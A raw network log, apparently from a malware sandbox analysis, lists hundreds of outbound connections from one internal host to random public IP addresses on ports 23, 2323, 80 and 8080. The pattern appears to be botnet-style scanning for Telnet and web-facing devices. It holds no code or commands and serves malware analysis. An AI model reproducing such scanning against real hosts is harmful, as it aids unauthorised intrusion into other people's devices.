Mar 4, 2024 15:05:31.155038118 CET	47577	8080	192.168.2.13	31.84.113.94
Mar 4, 2024 15:05:31.155038118 CET	47577	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:31.155038118 CET	47577	8080	192.168.2.13	31.39.172.157
Mar 4, 2024 15:05:31.155038118 CET	48089	80	192.168.2.13	88.165.208.204
Mar 4, 2024 15:05:31.155038118 CET	47577	8080	192.168.2.13	85.223.67.10
Mar 4, 2024 15:05:31.155038118 CET	47577	8080	192.168.2.13	85.40.247.126
Mar 4, 2024 15:05:31.155047894 CET	47577	8080	192.168.2.13	85.188.164.105
Mar 4, 2024 15:05:31.155047894 CET	47577	8080	192.168.2.13	95.36.32.54
Mar 4, 2024 15:05:31.155052900 CET	47577	8080	192.168.2.13	95.82.104.45
Mar 4, 2024 15:05:31.155052900 CET	48089	80	192.168.2.13	88.90.75.138
Mar 4, 2024 15:05:31.155052900 CET	47577	8080	192.168.2.13	95.229.254.237
Mar 4, 2024 15:05:31.155052900 CET	47577	8080	192.168.2.13	85.247.142.154
Mar 4, 2024 15:05:31.155052900 CET	47577	8080	192.168.2.13	31.49.204.21
Mar 4, 2024 15:05:31.155052900 CET	47577	8080	192.168.2.13	85.56.125.205
Mar 4, 2024 15:05:31.155052900 CET	47577	8080	192.168.2.13	85.158.44.28
Mar 4, 2024 15:05:31.155064106 CET	47577	8080	192.168.2.13	31.75.77.2
Mar 4, 2024 15:05:31.155065060 CET	47577	8080	192.168.2.13	85.175.43.23
Mar 4, 2024 15:05:31.155066967 CET	48089	80	192.168.2.13	88.122.119.125
Mar 4, 2024 15:05:31.155066967 CET	47577	8080	192.168.2.13	94.88.221.225
Mar 4, 2024 15:05:31.155069113 CET	47577	8080	192.168.2.13	95.107.214.111
Mar 4, 2024 15:05:31.155069113 CET	48089	80	192.168.2.13	88.85.201.148
Mar 4, 2024 15:05:31.155069113 CET	48089	80	192.168.2.13	88.195.177.162
Mar 4, 2024 15:05:31.155069113 CET	48089	80	192.168.2.13	88.247.242.139
Mar 4, 2024 15:05:31.155086994 CET	47577	8080	192.168.2.13	94.13.191.41
Mar 4, 2024 15:05:31.155086994 CET	47577	8080	192.168.2.13	85.133.65.157
Mar 4, 2024 15:05:31.155086994 CET	48089	80	192.168.2.13	88.57.127.223
Mar 4, 2024 15:05:31.155090094 CET	47577	8080	192.168.2.13	85.49.212.164
Mar 4, 2024 15:05:31.155090094 CET	47577	8080	192.168.2.13	85.189.133.160
Mar 4, 2024 15:05:31.155113935 CET	47577	8080	192.168.2.13	31.104.23.233
Mar 4, 2024 15:05:31.155114889 CET	48089	80	192.168.2.13	88.118.200.209
Mar 4, 2024 15:05:31.155123949 CET	47577	8080	192.168.2.13	85.130.57.148
Mar 4, 2024 15:05:31.155124903 CET	47577	8080	192.168.2.13	94.233.46.78
Mar 4, 2024 15:05:31.155124903 CET	47577	8080	192.168.2.13	31.166.163.110
Mar 4, 2024 15:05:31.155126095 CET	47577	8080	192.168.2.13	31.208.214.170
Mar 4, 2024 15:05:31.155149937 CET	50393	2323	192.168.2.13	32.237.169.243
Mar 4, 2024 15:05:31.155155897 CET	50393	23	192.168.2.13	113.123.160.27
Mar 4, 2024 15:05:31.155155897 CET	47577	8080	192.168.2.13	94.236.211.232
Mar 4, 2024 15:05:31.155155897 CET	47577	8080	192.168.2.13	62.43.92.95
Mar 4, 2024 15:05:31.155155897 CET	47577	8080	192.168.2.13	85.51.142.167
Mar 4, 2024 15:05:31.155165911 CET	48089	80	192.168.2.13	88.175.235.251
Mar 4, 2024 15:05:31.155167103 CET	47577	8080	192.168.2.13	62.228.214.68
Mar 4, 2024 15:05:31.155165911 CET	47577	8080	192.168.2.13	95.54.8.201
Mar 4, 2024 15:05:31.155165911 CET	47577	8080	192.168.2.13	85.148.178.206
Mar 4, 2024 15:05:31.155165911 CET	47577	8080	192.168.2.13	94.48.68.231
Mar 4, 2024 15:05:31.155165911 CET	47577	8080	192.168.2.13	62.18.96.223
Mar 4, 2024 15:05:31.155174971 CET	47577	8080	192.168.2.13	31.113.71.219
Mar 4, 2024 15:05:31.155185938 CET	47577	8080	192.168.2.13	94.40.11.144
Mar 4, 2024 15:05:31.155190945 CET	47577	8080	192.168.2.13	31.228.221.36
Mar 4, 2024 15:05:31.155190945 CET	47577	8080	192.168.2.13	62.7.190.252
Mar 4, 2024 15:05:31.155193090 CET	47577	8080	192.168.2.13	85.120.152.142
Mar 4, 2024 15:05:31.155193090 CET	47577	8080	192.168.2.13	94.27.56.100
Mar 4, 2024 15:05:31.155193090 CET	47577	8080	192.168.2.13	95.40.230.39
Mar 4, 2024 15:05:31.155201912 CET	47577	8080	192.168.2.13	85.55.248.176
Mar 4, 2024 15:05:31.155201912 CET	47577	8080	192.168.2.13	95.37.90.205
Mar 4, 2024 15:05:31.155205011 CET	47577	8080	192.168.2.13	95.159.85.180
Mar 4, 2024 15:05:31.155205011 CET	47577	8080	192.168.2.13	95.180.25.156
Mar 4, 2024 15:05:31.155205965 CET	50393	23	192.168.2.13	199.123.8.219
Mar 4, 2024 15:05:31.155205965 CET	47577	8080	192.168.2.13	62.104.23.246
Mar 4, 2024 15:05:31.155205965 CET	47577	8080	192.168.2.13	62.147.47.39
Mar 4, 2024 15:05:31.155205965 CET	47577	8080	192.168.2.13	62.108.198.246
Mar 4, 2024 15:05:31.155214071 CET	47577	8080	192.168.2.13	31.225.32.159
Mar 4, 2024 15:05:31.155215025 CET	48089	80	192.168.2.13	88.25.171.63
Mar 4, 2024 15:05:31.155215979 CET	47577	8080	192.168.2.13	31.254.110.22
Mar 4, 2024 15:05:31.155215979 CET	47577	8080	192.168.2.13	85.68.94.204
Mar 4, 2024 15:05:31.155215979 CET	47577	8080	192.168.2.13	85.215.90.242
Mar 4, 2024 15:05:31.155215979 CET	48089	80	192.168.2.13	88.232.173.103
Mar 4, 2024 15:05:31.155215979 CET	47577	8080	192.168.2.13	85.61.207.215
Mar 4, 2024 15:05:31.155215979 CET	47577	8080	192.168.2.13	94.160.83.203
Mar 4, 2024 15:05:31.155215979 CET	48089	80	192.168.2.13	88.251.25.79
Mar 4, 2024 15:05:31.155222893 CET	47577	8080	192.168.2.13	62.119.229.186
Mar 4, 2024 15:05:31.155222893 CET	48089	80	192.168.2.13	88.153.64.91
Mar 4, 2024 15:05:31.155222893 CET	47577	8080	192.168.2.13	31.131.229.23
Mar 4, 2024 15:05:31.155222893 CET	47577	8080	192.168.2.13	95.38.233.30
Mar 4, 2024 15:05:31.155222893 CET	47577	8080	192.168.2.13	94.254.208.147
Mar 4, 2024 15:05:31.155222893 CET	47577	8080	192.168.2.13	85.98.45.15
Mar 4, 2024 15:05:31.155222893 CET	47577	8080	192.168.2.13	85.249.205.92
Mar 4, 2024 15:05:31.155222893 CET	50393	23	192.168.2.13	191.209.250.226
Mar 4, 2024 15:05:31.155230999 CET	47577	8080	192.168.2.13	31.74.93.56
Mar 4, 2024 15:05:31.155231953 CET	50393	2323	192.168.2.13	2.146.25.240
Mar 4, 2024 15:05:31.155230999 CET	50393	23	192.168.2.13	72.231.26.168
Mar 4, 2024 15:05:31.155230999 CET	47577	8080	192.168.2.13	62.111.198.113
Mar 4, 2024 15:05:31.155241966 CET	47577	8080	192.168.2.13	62.159.233.29
Mar 4, 2024 15:05:31.155241966 CET	50393	23	192.168.2.13	216.192.78.134
Mar 4, 2024 15:05:31.155242920 CET	47577	8080	192.168.2.13	95.172.28.234
Mar 4, 2024 15:05:31.155241966 CET	47577	8080	192.168.2.13	31.120.44.155
Mar 4, 2024 15:05:31.155242920 CET	47577	8080	192.168.2.13	85.244.89.205
Mar 4, 2024 15:05:31.155242920 CET	47577	8080	192.168.2.13	31.69.64.83
Mar 4, 2024 15:05:31.155241966 CET	47577	8080	192.168.2.13	95.222.207.118
Mar 4, 2024 15:05:31.155242920 CET	47577	8080	192.168.2.13	85.77.1.63
Mar 4, 2024 15:05:31.155246973 CET	47577	8080	192.168.2.13	85.8.219.110
Mar 4, 2024 15:05:31.155246019 CET	48089	80	192.168.2.13	88.157.112.132
Mar 4, 2024 15:05:31.155241966 CET	47577	8080	192.168.2.13	62.41.179.219
Mar 4, 2024 15:05:31.155246973 CET	47577	8080	192.168.2.13	94.229.157.180
Mar 4, 2024 15:05:31.155246019 CET	47577	8080	192.168.2.13	95.160.250.130
Mar 4, 2024 15:05:31.155241966 CET	50393	23	192.168.2.13	45.206.137.28
Mar 4, 2024 15:05:31.155246019 CET	47577	8080	192.168.2.13	95.212.53.203
Mar 4, 2024 15:05:31.155241966 CET	50393	23	192.168.2.13	96.202.102.185
Mar 4, 2024 15:05:31.155246973 CET	47577	8080	192.168.2.13	95.164.41.44
Mar 4, 2024 15:05:31.155246019 CET	47577	8080	192.168.2.13	85.218.59.154
Mar 4, 2024 15:05:31.155256987 CET	50393	23	192.168.2.13	84.30.208.59
Mar 4, 2024 15:05:31.155246019 CET	50393	23	192.168.2.13	183.94.153.181
Mar 4, 2024 15:05:31.155256987 CET	47577	8080	192.168.2.13	31.130.185.100
Mar 4, 2024 15:05:31.155256987 CET	47577	8080	192.168.2.13	31.124.90.30
Mar 4, 2024 15:05:31.155246019 CET	50393	23	192.168.2.13	113.199.80.14
Mar 4, 2024 15:05:31.155246019 CET	50393	23	192.168.2.13	163.141.57.236
Mar 4, 2024 15:05:31.155246973 CET	47577	8080	192.168.2.13	62.79.232.104
Mar 4, 2024 15:05:31.155273914 CET	47577	8080	192.168.2.13	85.118.3.216
Mar 4, 2024 15:05:31.155278921 CET	50393	23	192.168.2.13	133.61.217.198
Mar 4, 2024 15:05:31.155278921 CET	50393	2323	192.168.2.13	186.79.55.250
Mar 4, 2024 15:05:31.155278921 CET	50393	23	192.168.2.13	183.27.168.46
Mar 4, 2024 15:05:31.155282974 CET	47577	8080	192.168.2.13	62.98.160.219
Mar 4, 2024 15:05:31.155287981 CET	50393	23	192.168.2.13	109.136.85.177
Mar 4, 2024 15:05:31.155287981 CET	47577	8080	192.168.2.13	94.129.165.194
Mar 4, 2024 15:05:31.155293941 CET	47577	8080	192.168.2.13	62.144.44.200
Mar 4, 2024 15:05:31.155293941 CET	47577	8080	192.168.2.13	94.226.179.110
Mar 4, 2024 15:05:31.155307055 CET	47577	8080	192.168.2.13	31.236.101.10
Mar 4, 2024 15:05:31.155307055 CET	47577	8080	192.168.2.13	62.83.25.61
Mar 4, 2024 15:05:31.155327082 CET	47577	8080	192.168.2.13	85.47.50.11
Mar 4, 2024 15:05:31.155332088 CET	47577	8080	192.168.2.13	62.120.117.147
Mar 4, 2024 15:05:31.155333996 CET	50393	23	192.168.2.13	5.200.117.68
Mar 4, 2024 15:05:31.155333996 CET	50393	23	192.168.2.13	122.108.161.137
Mar 4, 2024 15:05:31.155344009 CET	50393	23	192.168.2.13	81.56.89.25
Mar 4, 2024 15:05:31.155344963 CET	47577	8080	192.168.2.13	85.85.237.69
Mar 4, 2024 15:05:31.155344963 CET	47577	8080	192.168.2.13	31.223.40.95
Mar 4, 2024 15:05:31.155348063 CET	50393	2323	192.168.2.13	18.148.126.243
Mar 4, 2024 15:05:31.155358076 CET	47577	8080	192.168.2.13	95.186.32.174
Mar 4, 2024 15:05:31.155358076 CET	50393	23	192.168.2.13	155.119.35.67
Mar 4, 2024 15:05:31.155358076 CET	50393	23	192.168.2.13	35.55.77.111
Mar 4, 2024 15:05:31.155358076 CET	47577	8080	192.168.2.13	62.206.230.87
Mar 4, 2024 15:05:31.155358076 CET	50393	23	192.168.2.13	171.201.168.207
Mar 4, 2024 15:05:31.155358076 CET	47577	8080	192.168.2.13	94.117.91.142
Mar 4, 2024 15:05:31.155358076 CET	47577	8080	192.168.2.13	95.21.12.37
Mar 4, 2024 15:05:31.155358076 CET	47577	8080	192.168.2.13	31.118.159.76
Mar 4, 2024 15:05:31.155364990 CET	50393	23	192.168.2.13	204.236.52.210
Mar 4, 2024 15:05:31.155364990 CET	50393	23	192.168.2.13	201.184.53.179
Mar 4, 2024 15:05:31.155365944 CET	47577	8080	192.168.2.13	62.204.184.135
Mar 4, 2024 15:05:31.155365944 CET	47577	8080	192.168.2.13	95.129.214.137
Mar 4, 2024 15:05:31.155374050 CET	47577	8080	192.168.2.13	85.215.170.157
Mar 4, 2024 15:05:31.155374050 CET	50393	23	192.168.2.13	132.223.10.62
Mar 4, 2024 15:05:31.155376911 CET	47577	8080	192.168.2.13	31.245.76.7
Mar 4, 2024 15:05:31.155376911 CET	47577	8080	192.168.2.13	94.90.28.145
Mar 4, 2024 15:05:31.155376911 CET	47577	8080	192.168.2.13	31.212.170.3
Mar 4, 2024 15:05:31.155376911 CET	47577	8080	192.168.2.13	31.46.3.124
Mar 4, 2024 15:05:31.155381918 CET	50393	23	192.168.2.13	181.224.138.20
Mar 4, 2024 15:05:31.155376911 CET	47577	8080	192.168.2.13	31.171.74.138
Mar 4, 2024 15:05:31.155376911 CET	50393	23	192.168.2.13	163.127.181.223
Mar 4, 2024 15:05:31.155376911 CET	47577	8080	192.168.2.13	94.185.226.130
Mar 4, 2024 15:05:31.155376911 CET	50393	23	192.168.2.13	105.103.44.155
Mar 4, 2024 15:05:31.155385971 CET	47577	8080	192.168.2.13	31.230.242.108
Mar 4, 2024 15:05:31.155388117 CET	47577	8080	192.168.2.13	85.32.199.169
Mar 4, 2024 15:05:31.155386925 CET	50393	23	192.168.2.13	199.168.125.175
Mar 4, 2024 15:05:31.155389071 CET	47577	8080	192.168.2.13	94.28.120.202
Mar 4, 2024 15:05:31.155388117 CET	50393	23	192.168.2.13	200.2.194.41
Mar 4, 2024 15:05:31.155390978 CET	47577	8080	192.168.2.13	85.52.136.72
Mar 4, 2024 15:05:31.155389071 CET	50393	23	192.168.2.13	191.80.74.95
Mar 4, 2024 15:05:31.155386925 CET	47577	8080	192.168.2.13	31.238.59.124
Mar 4, 2024 15:05:31.155386925 CET	50393	23	192.168.2.13	83.115.227.184
Mar 4, 2024 15:05:31.155386925 CET	47577	8080	192.168.2.13	94.234.137.118
Mar 4, 2024 15:05:31.155386925 CET	47577	8080	192.168.2.13	85.17.77.134
Mar 4, 2024 15:05:31.155386925 CET	47577	8080	192.168.2.13	62.173.241.245
Mar 4, 2024 15:05:31.155386925 CET	47577	8080	192.168.2.13	62.182.60.70
Mar 4, 2024 15:05:31.155404091 CET	47577	8080	192.168.2.13	85.34.100.158
Mar 4, 2024 15:05:31.155404091 CET	50393	23	192.168.2.13	108.192.3.62
Mar 4, 2024 15:05:31.155404091 CET	47577	8080	192.168.2.13	85.195.117.243
Mar 4, 2024 15:05:31.155404091 CET	47577	8080	192.168.2.13	31.47.51.108
Mar 4, 2024 15:05:31.155405045 CET	47577	8080	192.168.2.13	94.81.194.83
Mar 4, 2024 15:05:31.155405045 CET	47577	8080	192.168.2.13	62.123.225.229
Mar 4, 2024 15:05:31.155409098 CET	47577	8080	192.168.2.13	85.223.171.59
Mar 4, 2024 15:05:31.155410051 CET	47577	8080	192.168.2.13	95.44.69.12
Mar 4, 2024 15:05:31.155409098 CET	50393	2323	192.168.2.13	82.92.7.229
Mar 4, 2024 15:05:31.155405045 CET	47577	8080	192.168.2.13	31.129.196.115
Mar 4, 2024 15:05:31.155419111 CET	50393	23	192.168.2.13	60.254.19.151
Mar 4, 2024 15:05:31.155420065 CET	47577	8080	192.168.2.13	62.189.131.56
Mar 4, 2024 15:05:31.155420065 CET	47577	8080	192.168.2.13	95.61.153.208
Mar 4, 2024 15:05:31.155424118 CET	47577	8080	192.168.2.13	94.143.197.192
Mar 4, 2024 15:05:31.155420065 CET	50393	23	192.168.2.13	19.177.213.136
Mar 4, 2024 15:05:31.155424118 CET	47577	8080	192.168.2.13	95.31.70.82
Mar 4, 2024 15:05:31.155420065 CET	47577	8080	192.168.2.13	85.202.213.121
Mar 4, 2024 15:05:31.155424118 CET	47577	8080	192.168.2.13	31.13.114.79
Mar 4, 2024 15:05:31.155431032 CET	47577	8080	192.168.2.13	95.150.41.70
Mar 4, 2024 15:05:31.155432940 CET	47577	8080	192.168.2.13	62.218.253.24
Mar 4, 2024 15:05:31.155435085 CET	47577	8080	192.168.2.13	62.1.69.38
Mar 4, 2024 15:05:31.155435085 CET	50393	23	192.168.2.13	89.182.158.164
Mar 4, 2024 15:05:31.155459881 CET	47577	8080	192.168.2.13	94.171.112.3
Mar 4, 2024 15:05:31.155459881 CET	50393	2323	192.168.2.13	66.58.171.235
Mar 4, 2024 15:05:31.155459881 CET	50393	23	192.168.2.13	128.87.127.164
Mar 4, 2024 15:05:31.155462980 CET	50393	23	192.168.2.13	122.252.59.180
Mar 4, 2024 15:05:31.155462980 CET	47577	8080	192.168.2.13	62.235.140.220
Mar 4, 2024 15:05:31.155466080 CET	50393	23	192.168.2.13	107.41.147.197
Mar 4, 2024 15:05:31.155466080 CET	47577	8080	192.168.2.13	85.7.163.224
Mar 4, 2024 15:05:31.155469894 CET	47577	8080	192.168.2.13	95.3.163.143
Mar 4, 2024 15:05:31.155469894 CET	47577	8080	192.168.2.13	94.102.127.202
Mar 4, 2024 15:05:31.155469894 CET	50393	23	192.168.2.13	209.61.236.84
Mar 4, 2024 15:05:31.155469894 CET	47577	8080	192.168.2.13	95.123.40.73
Mar 4, 2024 15:05:31.155488014 CET	50393	23	192.168.2.13	113.166.205.112
Mar 4, 2024 15:05:31.155488014 CET	47577	8080	192.168.2.13	31.188.192.198
Mar 4, 2024 15:05:31.155489922 CET	47577	8080	192.168.2.13	95.105.89.66
Mar 4, 2024 15:05:31.155488014 CET	47577	8080	192.168.2.13	62.38.204.46
Mar 4, 2024 15:05:31.155491114 CET	47577	8080	192.168.2.13	95.165.238.78
Mar 4, 2024 15:05:31.155489922 CET	47577	8080	192.168.2.13	85.220.245.64
Mar 4, 2024 15:05:31.155491114 CET	47577	8080	192.168.2.13	62.156.161.157
Mar 4, 2024 15:05:31.155488014 CET	50393	23	192.168.2.13	204.227.105.193
Mar 4, 2024 15:05:31.155491114 CET	50393	23	192.168.2.13	202.28.205.210
Mar 4, 2024 15:05:31.155488014 CET	47577	8080	192.168.2.13	31.137.106.240
Mar 4, 2024 15:05:31.155488014 CET	50393	23	192.168.2.13	150.2.15.206
Mar 4, 2024 15:05:31.155488014 CET	50393	23	192.168.2.13	99.128.170.216
Mar 4, 2024 15:05:31.155505896 CET	47577	8080	192.168.2.13	94.164.164.19
Mar 4, 2024 15:05:31.155505896 CET	47577	8080	192.168.2.13	62.112.220.107
Mar 4, 2024 15:05:31.155505896 CET	50393	23	192.168.2.13	19.210.116.143
Mar 4, 2024 15:05:31.155505896 CET	47577	8080	192.168.2.13	94.141.28.110
Mar 4, 2024 15:05:31.155510902 CET	50393	23	192.168.2.13	94.200.128.24
Mar 4, 2024 15:05:31.155530930 CET	47577	8080	192.168.2.13	95.172.66.221
Mar 4, 2024 15:05:31.155529976 CET	50393	23	192.168.2.13	104.204.54.72
Mar 4, 2024 15:05:31.155529976 CET	50393	23	192.168.2.13	88.120.76.201
Mar 4, 2024 15:05:31.155529976 CET	47577	8080	192.168.2.13	94.3.81.255
Mar 4, 2024 15:05:31.155529976 CET	50393	23	192.168.2.13	188.10.241.223
Mar 4, 2024 15:05:31.155529976 CET	47577	8080	192.168.2.13	31.36.193.9
Mar 4, 2024 15:05:31.155529976 CET	47577	8080	192.168.2.13	95.78.54.198
Mar 4, 2024 15:05:31.155536890 CET	47577	8080	192.168.2.13	85.70.146.238
Mar 4, 2024 15:05:31.155530930 CET	47577	8080	192.168.2.13	95.163.255.32
Mar 4, 2024 15:05:31.155536890 CET	50393	23	192.168.2.13	4.117.29.179
Mar 4, 2024 15:05:31.155530930 CET	47577	8080	192.168.2.13	85.179.173.36
Mar 4, 2024 15:05:31.155544996 CET	50393	23	192.168.2.13	146.28.136.81
Mar 4, 2024 15:05:31.155545950 CET	47577	8080	192.168.2.13	94.140.144.229
Mar 4, 2024 15:05:31.155545950 CET	47577	8080	192.168.2.13	95.146.242.224
Mar 4, 2024 15:05:31.155549049 CET	50393	23	192.168.2.13	106.39.40.159
Mar 4, 2024 15:05:31.155545950 CET	47577	8080	192.168.2.13	62.36.27.107
Mar 4, 2024 15:05:31.155549049 CET	47577	8080	192.168.2.13	94.114.105.131
Mar 4, 2024 15:05:31.155545950 CET	47577	8080	192.168.2.13	94.204.41.104
Mar 4, 2024 15:05:31.155546904 CET	50393	23	192.168.2.13	13.21.118.97
Mar 4, 2024 15:05:31.155546904 CET	50393	23	192.168.2.13	51.164.194.43
Mar 4, 2024 15:05:31.155546904 CET	47577	8080	192.168.2.13	31.21.193.87
Mar 4, 2024 15:05:31.155546904 CET	47577	8080	192.168.2.13	31.245.218.169
Mar 4, 2024 15:05:31.155566931 CET	47577	8080	192.168.2.13	62.138.174.130
Mar 4, 2024 15:05:31.155566931 CET	47577	8080	192.168.2.13	95.31.97.150
Mar 4, 2024 15:05:31.155574083 CET	50393	2323	192.168.2.13	132.9.213.86
Mar 4, 2024 15:05:31.155574083 CET	47577	8080	192.168.2.13	31.111.11.213
Mar 4, 2024 15:05:31.155574083 CET	50393	23	192.168.2.13	181.233.158.240
Mar 4, 2024 15:05:31.155577898 CET	47577	8080	192.168.2.13	85.230.141.8
Mar 4, 2024 15:05:31.155577898 CET	47577	8080	192.168.2.13	85.220.180.160
Mar 4, 2024 15:05:31.155567884 CET	50393	23	192.168.2.13	61.31.12.46
Mar 4, 2024 15:05:31.155577898 CET	47577	8080	192.168.2.13	85.52.69.89
Mar 4, 2024 15:05:31.155567884 CET	47577	8080	192.168.2.13	94.38.191.53
Mar 4, 2024 15:05:31.155582905 CET	47577	8080	192.168.2.13	31.109.13.60
Mar 4, 2024 15:05:31.155577898 CET	47577	8080	192.168.2.13	94.218.57.165
Mar 4, 2024 15:05:31.155567884 CET	50393	23	192.168.2.13	64.193.116.221
Mar 4, 2024 15:05:31.155567884 CET	50393	23	192.168.2.13	164.16.141.177
Mar 4, 2024 15:05:31.155567884 CET	47577	8080	192.168.2.13	62.60.21.177
Mar 4, 2024 15:05:31.155567884 CET	47577	8080	192.168.2.13	85.46.209.170
Mar 4, 2024 15:05:31.155607939 CET	47577	8080	192.168.2.13	95.182.180.213
Mar 4, 2024 15:05:31.155610085 CET	47577	8080	192.168.2.13	94.176.218.116
Mar 4, 2024 15:05:31.155610085 CET	47577	8080	192.168.2.13	62.11.113.32
Mar 4, 2024 15:05:31.155612946 CET	50393	23	192.168.2.13	136.60.246.88
Mar 4, 2024 15:05:31.155618906 CET	50393	23	192.168.2.13	73.20.203.27
Mar 4, 2024 15:05:31.155620098 CET	50393	23	192.168.2.13	46.191.53.207
Mar 4, 2024 15:05:31.155618906 CET	50393	23	192.168.2.13	50.139.155.253
Mar 4, 2024 15:05:31.155620098 CET	50393	2323	192.168.2.13	99.145.87.1
Mar 4, 2024 15:05:31.155628920 CET	47577	8080	192.168.2.13	85.150.51.33
Mar 4, 2024 15:05:31.155635118 CET	47577	8080	192.168.2.13	62.237.32.24
Mar 4, 2024 15:05:31.155635118 CET	47577	8080	192.168.2.13	62.191.143.66
Mar 4, 2024 15:05:31.155635118 CET	50393	23	192.168.2.13	27.10.183.30
Mar 4, 2024 15:05:31.155635118 CET	50393	23	192.168.2.13	42.123.197.53
Mar 4, 2024 15:05:31.155635118 CET	50393	23	192.168.2.13	171.87.113.217
Mar 4, 2024 15:05:31.155637026 CET	47577	8080	192.168.2.13	94.224.152.191
Mar 4, 2024 15:05:31.155637026 CET	47577	8080	192.168.2.13	94.234.31.254
Mar 4, 2024 15:05:31.155637026 CET	47577	8080	192.168.2.13	85.195.102.80
Mar 4, 2024 15:05:31.155637026 CET	47577	8080	192.168.2.13	95.161.135.25
Mar 4, 2024 15:05:31.155637026 CET	47577	8080	192.168.2.13	85.250.200.250
Mar 4, 2024 15:05:31.155642986 CET	47577	8080	192.168.2.13	62.228.56.54
Mar 4, 2024 15:05:31.155642986 CET	47577	8080	192.168.2.13	94.82.187.101
Mar 4, 2024 15:05:31.155653954 CET	47577	8080	192.168.2.13	62.245.182.136
Mar 4, 2024 15:05:31.155653954 CET	47577	8080	192.168.2.13	85.48.39.104
Mar 4, 2024 15:05:31.155654907 CET	50393	23	192.168.2.13	167.125.227.79
Mar 4, 2024 15:05:31.155654907 CET	50393	23	192.168.2.13	203.248.48.224
Mar 4, 2024 15:05:31.155654907 CET	50393	23	192.168.2.13	20.60.186.72
Mar 4, 2024 15:05:31.155654907 CET	47577	8080	192.168.2.13	31.190.124.159
Mar 4, 2024 15:05:31.155659914 CET	50393	23	192.168.2.13	201.167.4.11
Mar 4, 2024 15:05:31.155659914 CET	50393	23	192.168.2.13	165.43.87.70
Mar 4, 2024 15:05:31.155659914 CET	47577	8080	192.168.2.13	94.125.193.147
Mar 4, 2024 15:05:31.155659914 CET	47577	8080	192.168.2.13	62.175.156.0
Mar 4, 2024 15:05:31.155661106 CET	47577	8080	192.168.2.13	62.79.153.202
Mar 4, 2024 15:05:31.155661106 CET	50393	23	192.168.2.13	106.66.46.160
Mar 4, 2024 15:05:31.155661106 CET	47577	8080	192.168.2.13	85.62.20.205
Mar 4, 2024 15:05:31.155661106 CET	47577	8080	192.168.2.13	62.116.8.251
Mar 4, 2024 15:05:31.155668974 CET	47577	8080	192.168.2.13	85.177.194.58
Mar 4, 2024 15:05:31.155668974 CET	50393	2323	192.168.2.13	20.163.171.178
Mar 4, 2024 15:05:31.155668974 CET	47577	8080	192.168.2.13	31.54.220.115
Mar 4, 2024 15:05:31.155668974 CET	47577	8080	192.168.2.13	85.143.146.136
Mar 4, 2024 15:05:31.155674934 CET	50393	23	192.168.2.13	84.21.247.26
Mar 4, 2024 15:05:31.155674934 CET	50393	23	192.168.2.13	93.210.90.203
Mar 4, 2024 15:05:31.155674934 CET	47577	8080	192.168.2.13	31.226.177.52
Mar 4, 2024 15:05:31.155674934 CET	47577	8080	192.168.2.13	85.226.152.142
Mar 4, 2024 15:05:31.155674934 CET	47577	8080	192.168.2.13	95.162.27.60
Mar 4, 2024 15:05:31.155695915 CET	47577	8080	192.168.2.13	94.232.168.79
Mar 4, 2024 15:05:31.155697107 CET	47577	8080	192.168.2.13	31.245.142.183
Mar 4, 2024 15:05:31.155697107 CET	47577	8080	192.168.2.13	31.247.12.78
Mar 4, 2024 15:05:31.155697107 CET	50393	23	192.168.2.13	97.146.131.112
Mar 4, 2024 15:05:31.155697107 CET	47577	8080	192.168.2.13	62.0.89.84
Mar 4, 2024 15:05:31.155697107 CET	47577	8080	192.168.2.13	95.125.30.124
Mar 4, 2024 15:05:31.155697107 CET	47577	8080	192.168.2.13	31.148.204.214
Mar 4, 2024 15:05:31.155697107 CET	50393	23	192.168.2.13	197.94.98.93
Mar 4, 2024 15:05:31.155704975 CET	47577	8080	192.168.2.13	95.77.120.153
Mar 4, 2024 15:05:31.155704975 CET	50393	23	192.168.2.13	139.250.152.252
Mar 4, 2024 15:05:31.155718088 CET	50393	23	192.168.2.13	136.104.90.63
Mar 4, 2024 15:05:31.155718088 CET	50393	23	192.168.2.13	35.246.109.108
Mar 4, 2024 15:05:31.155718088 CET	47577	8080	192.168.2.13	95.190.208.114
Mar 4, 2024 15:05:31.155718088 CET	50393	23	192.168.2.13	47.233.78.71
Mar 4, 2024 15:05:31.155718088 CET	50393	23	192.168.2.13	186.222.215.171
Mar 4, 2024 15:05:31.155719995 CET	47577	8080	192.168.2.13	62.167.145.32
Mar 4, 2024 15:05:31.155718088 CET	47577	8080	192.168.2.13	62.167.226.211
Mar 4, 2024 15:05:31.155719995 CET	47577	8080	192.168.2.13	85.195.116.104
Mar 4, 2024 15:05:31.155718088 CET	47577	8080	192.168.2.13	95.230.114.151
Mar 4, 2024 15:05:31.155719995 CET	47577	8080	192.168.2.13	31.214.8.119
Mar 4, 2024 15:05:31.155719995 CET	47577	8080	192.168.2.13	95.189.228.200
Mar 4, 2024 15:05:31.155719995 CET	50393	23	192.168.2.13	195.161.131.145
Mar 4, 2024 15:05:31.155719995 CET	47577	8080	192.168.2.13	94.216.203.150
Mar 4, 2024 15:05:31.155726910 CET	47577	8080	192.168.2.13	95.130.48.25
Mar 4, 2024 15:05:31.155726910 CET	47577	8080	192.168.2.13	85.251.242.134
Mar 4, 2024 15:05:31.155726910 CET	47577	8080	192.168.2.13	95.245.34.55
Mar 4, 2024 15:05:31.155726910 CET	47577	8080	192.168.2.13	94.152.79.93
Mar 4, 2024 15:05:31.155738115 CET	50393	23	192.168.2.13	160.64.113.99
Mar 4, 2024 15:05:31.155738115 CET	47577	8080	192.168.2.13	94.34.9.217
Mar 4, 2024 15:05:31.155749083 CET	47577	8080	192.168.2.13	31.147.198.72
Mar 4, 2024 15:05:31.155749083 CET	50393	23	192.168.2.13	80.7.111.254
Mar 4, 2024 15:05:31.155749083 CET	47577	8080	192.168.2.13	31.90.100.41
Mar 4, 2024 15:05:31.155749083 CET	47577	8080	192.168.2.13	62.235.210.36
Mar 4, 2024 15:05:31.155749083 CET	50393	23	192.168.2.13	160.38.162.0
Mar 4, 2024 15:05:31.155750036 CET	50393	23	192.168.2.13	44.142.218.139
Mar 4, 2024 15:05:31.155750036 CET	50393	23	192.168.2.13	44.44.141.249
Mar 4, 2024 15:05:31.155750036 CET	47577	8080	192.168.2.13	85.219.113.235
Mar 4, 2024 15:05:31.155766964 CET	47577	8080	192.168.2.13	62.156.155.136
Mar 4, 2024 15:05:31.155781031 CET	47577	8080	192.168.2.13	85.9.99.132
Mar 4, 2024 15:05:31.155781031 CET	47577	8080	192.168.2.13	31.17.210.156
Mar 4, 2024 15:05:31.155781031 CET	50393	23	192.168.2.13	49.35.3.199
Mar 4, 2024 15:05:31.155781031 CET	50393	23	192.168.2.13	217.186.140.23
